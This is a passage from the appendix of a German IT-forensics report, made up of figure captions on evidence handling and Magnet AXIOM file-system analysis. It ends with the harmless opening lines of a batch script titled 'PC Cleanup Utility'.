Kontaktdaten IT-Forensik-Team: Ladies-Group Seite 32 Abbildung 6: Asservat 2 - Chain-of-custody-Formular Seite 3/3

(49)

6.2 Anlagen zu Untersuchung Asservat 1

Abbildung 7: Datenaufbereitung - Images in Magnet AXIOM einlesen - Artefakte

(50)

Kontaktdaten IT-Forensik-Team: Ladies-Group Seite 34 Abbildung 8: Asservat 1 - Informationen

Abbildung 9: Asservat 1 - Laufwerksanalyse

(51)

Abbildung 10: Asservat 1 - Dateisystemanalyse - Ordnerstruktur

Abbildung 11: Asservat 1 - Dateisystemanalyse - Kennzeichnung relevanter Ordner

Abbildung 12: Asservat 1 - Dateisystemanalyse - Kennzeichnung relevanter Dateien

@echo off

title PC Cleanup Utility http://www.youtube.com/user/techki-tv

:menu cls

echo ---